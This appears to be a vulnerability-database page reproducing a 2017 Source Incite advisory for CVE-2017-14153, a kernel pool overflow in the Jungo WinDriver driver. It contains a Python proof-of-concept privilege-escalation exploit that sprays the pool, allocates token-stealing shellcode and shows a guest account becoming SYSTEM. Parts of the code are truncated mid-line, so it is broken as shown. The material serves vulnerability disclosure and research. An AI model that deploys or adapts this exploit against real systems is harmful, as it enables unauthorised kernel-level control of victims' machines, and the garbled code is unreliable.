Lucene search
K

SRC-2017-0026 : Jungo DriverWizard WinDriver Kernel Pool Overflow Privilege Escalation Vulnerability

🗓️ 22 Aug 2017 00:00:00Reported by Steven Seeley (mr_me) of Source InciteType 
srcincite
 srcincite
🔗 srcincite.io👁 15 Views

Jungo DriverWizard WinDriver Kernel Pool Overflow Privilege Escalation Vulnerabilit

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Jungo DriverWizard WinDriver - Kernel Pool Overflow Exploit
6 Sep 201700:00
zdt
Circl
CVE-2017-14153
6 Sep 201700:00
circl
CNVD
ungo DriverWizard WinDriver Overflow Vulnerability
7 Sep 201700:00
cnvd
CVE
CVE-2017-14153
11 Sep 201717:00
cve
Cvelist
CVE-2017-14153
11 Sep 201717:00
cvelist
Exploit DB
Jungo DriverWizard WinDriver < 12.4.0 - Kernel Pool Overflow / Local Privilege Escalation (1)
6 Sep 201700:00
exploitdb
EUVD
EUVD-2017-5664
7 Oct 202500:30
euvd
exploitpack
Jungo DriverWizard WinDriver 12.4.0 - Kernel Pool Overflow Local Privilege Escalation (1)
6 Sep 201700:00
exploitpack
NVD
CVE-2017-14153
11 Sep 201717:29
nvd
OSV
CVE-2017-14153
11 Sep 201717:29
osv
Rows per page
# -*- coding: utf-8 -*-
"""
Jungo DriverWizard WinDriver Kernel Pool Overflow Vulnerability

Download: http://www.jungo.com/st/products/windriver/
File:     WD1240.EXE
Sha1:     3527cc974ec885166f0d96f6aedc8e542bb66cba
Driver:   windrvr1240.sys
Sha1:     0f212075d86ef7e859c1941f8e5b9e7a6f2558ad
CVE:      CVE-2017-14153
Author:   Steven Seeley (mr_me) of Source Incite
Affected: <= v12.4.0
Thanks:   b33f, ryujin and sickness
Analysis: https://srcincite.io/blog/2017/09/06/sharks-in-the-pool-mixed-object-exploitation-in-the-windows-kernel-pool.html

Summary:
========

This vulnerability allows local attackers to escalate privileges on vulnerable installations of Jungo WinDriver. An attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability. 

The specific flaw exists within the processing of IOCTL 0x953824b7 by the windrvr1240 kernel driver. The issue lies in the failure to properly validate user-supplied data which can result in a kernel pool overflow. An attacker can leverage this vulnerability to execute arbitrary code under the context of kernel.

Timeline:
=========

2017-08-22 – Verified and sent to Jungo via sales@/first@/security@/[email protected]
2017-08-25 – No response from Jungo and two bounced emails
2017-08-26 – Attempted a follow up with the vendor via website chat
2017-08-26 – No response via the website chat
2017-09-03 – Recieved an email from a Jungo representative stating that they are "looking into it"
2017-09-03 – Requested a timeframe for patch development and warned of possible 0day release
2017-09-06 – No response from Jungo
2017-09-06 – Public 0day release of advisory

Example:
========

C:\Users\Guest\Desktop>icacls poc.py
poc.py NT AUTHORITY\Authenticated Users:(I)(F)
       NT AUTHORITY\SYSTEM:(I)(F)
       BUILTIN\Administrators:(I)(F)
       BUILTIN\Users:(I)(F)
       Mandatory Label\Low Mandatory Level:(I)(NW)

Successfully processed 1 files; Failed processing 0 files

C:\Users\Guest\Desktop>whoami
debugee\guest

C:\Users\Guest\Desktop>poc.py

        --[ Jungo DriverWizard WinDriver Kernel Pool Overflow EoP exploit ]
                       Steven Seeley (mr_me) of Source Incite

(+) spraying pool with mixed objects...
(+) sprayed the pool!
(+) making pool holes...
(+) made the pool holes!
(+) allocating shellcode...
(+) allocated the shellcode!
(+) triggering pool overflow...
(+) allocating pool overflow input buffer
(+) elevating privileges!
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Users\Guest\Desktop>whoami
nt authority\system

C:\Users\Guest\Desktop>
"""
from ctypes import *
from ctypes.wintypes import *
import struct, sys, os, time
from platform import release, architecture

ntdll    = windll.ntdll
kernel32 = windll.kernel32
MEM_COMMIT             = 0x00001000
MEM_RESERVE            = 0x00002000
PAGE_EXECUTE_READWRITE = 0x00000040
STATUS_SUCCESS              = 0x0
STATUS_INFO_LENGTH_MISMATCH = 0xC0000004
STATUS_INVALID_HANDLE       = 0xC0000008
SystemExtendedHandleInformation = 64

class LSA_UNICODE_STRING(Structure):
    """Represent the LSA_UNICODE_STRING on ntdll."""
    _fields_ = [
        ("Length", USHORT),
        ("MaximumLength", USHORT),
        ("Buffer", LPWSTR),
    ]

class SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX(Structure):
    """Represent the SYSTEM_HANDLE_TABLE_ENTRY_INFO on ntdll."""
    _fields_ = [
        ("Object", c_void_p),
        ("UniqueProcessId", ULONG),
        ("HandleValue", ULONG),
        ("GrantedAccess", ULONG),
        ("CreatorBackTraceIndex", USHORT),
        ("ObjectTypeIndex", USHORT),
        ("HandleAttributes", ULONG),
        ("Reserved", ULONG),
    ]
 
class SYSTEM_HANDLE_INFORMATION_EX(Structure):
    """Represent the SYSTEM_HANDLE_INFORMATION on ntdll."""
    _fields_ = [
        ("NumberOfHandles", ULONG),
        ("Reserved", ULONG),
        ("Handles", SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX * 1),
    ]

class PUBLIC_OBJECT_TYPE_INFORMATION(Structure):
    """Represent the PUBLIC_OBJECT_TYPE_INFORMATION on ntdll."""
    _fields_ = [
        ("Name", LSA_UNICODE_STRING),
        ("Reserved", ULONG * 22),
    ]

class PROCESSENTRY32(Structure):
    _fields_ = [
        ("dwSize", c_ulong),
        ("cntUsage", c_ulong),
        ("th32ProcessID", c_ulong),
        ("th32DefaultHeapID", c_int),
        ("th32ModuleID", c_ulong),
        ("cntThreads", c_ulong),
        ("th32ParentProcessID", c_ulong),
        ("pcPriClassBase", c_long),
        ("dwFlags", c_ulong),
        ("szExeFile", c_wchar * MAX_PATH)
    ]

Process32First = kernel32.Process32FirstW
Process32Next  = kernel32.Process32NextW

def signed_to_unsigned(signed):
    """
    Convert signed to unsigned integer.
    """
    unsigned, = struct.unpack ("L", struct.pack ("l", signed))
    return unsigned
                
def get_type_info(handle):
    """
    Get the handle type information to find our sprayed objects.
    """
    public_object_type_information = PUBLIC_OBJECT_TYPE_INFORMATION()
    size = DWORD(sizeof(public_object_type_information))
    while True:
        result = signed_to_unsigned(
            ntdll.NtQueryObject(
                handle, 2, byref(public_object_type_information), size, None))
        if result == STATUS_SUCCESS:
            return public_object_type_information.Name.Buffer
        elif result == STATUS_INFO_LENGTH_MISMATCH:
            size = DWORD(size.value * 4)
            resize(public_object_type_information, size.value)
        elif result == STATUS_INVALID_HANDLE:
            return None
        else:
            raise x_file_handles("NtQueryObject.2", hex (result))

def get_handles():
    """
    Return all the processes handles in the system at the time.
    Can be done from LI (Low Integrity) level on Windows 7 x86.
    """
    system_handle_information = SYSTEM_HANDLE_INFORMATION_EX()
    size = DWORD (sizeof (system_handle_information))
    while True:
        result = ntdll.NtQuerySystemInformation(
            SystemExtendedHandleInformation,
            byref(system_handle_information),
            size,
            byref(size)
        )
        result = signed_to_unsigned(result)
        if result == STATUS_SUCCESS:
            break
        elif result == STATUS_INFO_LENGTH_MISMATCH:
            size = DWORD(size.value * 4)
            resize(system_handle_information, size.value)
        else:
            raise x_file_handles("NtQuerySystemInformation", hex(result))

    pHandles = cast(
        system_handle_information.Handles,
        POINTER(SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX * \
                system_handle_information.NumberOfHandles)
    )
    for handle in pHandles.contents:
        yield handle.UniqueProcessId, handle.HandleValue, handle.Object

def we_can_alloc_shellcode():
    """ 
    This function allocates the shellcode @ the null page making
    sure the new OkayToCloseProcedure pointer points to shellcode.
    """
    baseadd   = c_int(0x00000004)
    null_size = c_int(0x1000)

    tokenstealing = (
    "\x33\xC0\x64\x8B\x80\x24\x01\x00\x00\x8B\x40\x50\x8B\xC8\x8B\x80"
    "\xB8\x00\x00\x00\x2D\xB8\x00\x00\x00\x83\xB8\xB4\x00\x00\x00\x04"
    "\x75\xEC\x8B\x90\xF8\x00\x00\x00\x89\x91\xF8\x00\x00\x00\xC2\x10"
    "\x00" )
    
    OkayToCloseProcedure = struct.pack("0:
        return True
    return False

def alloc_pool_overflow_buffer(base, input_size):
    """
    Craft our special buffer to trigger the overflow.
    """
    print "(+) allocating pool overflow input buffer"
    baseadd   = c_int(base)
    size = c_int(input_size)
    input  = "\x41" * 0x18                     # offset to size
    input += struct.pack("

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

06 Sep 2017 00:00Current
0.6Low risk
Vulners AI Score0.6
CVSS 27.2
CVSS 37.8
EPSS0.00157
15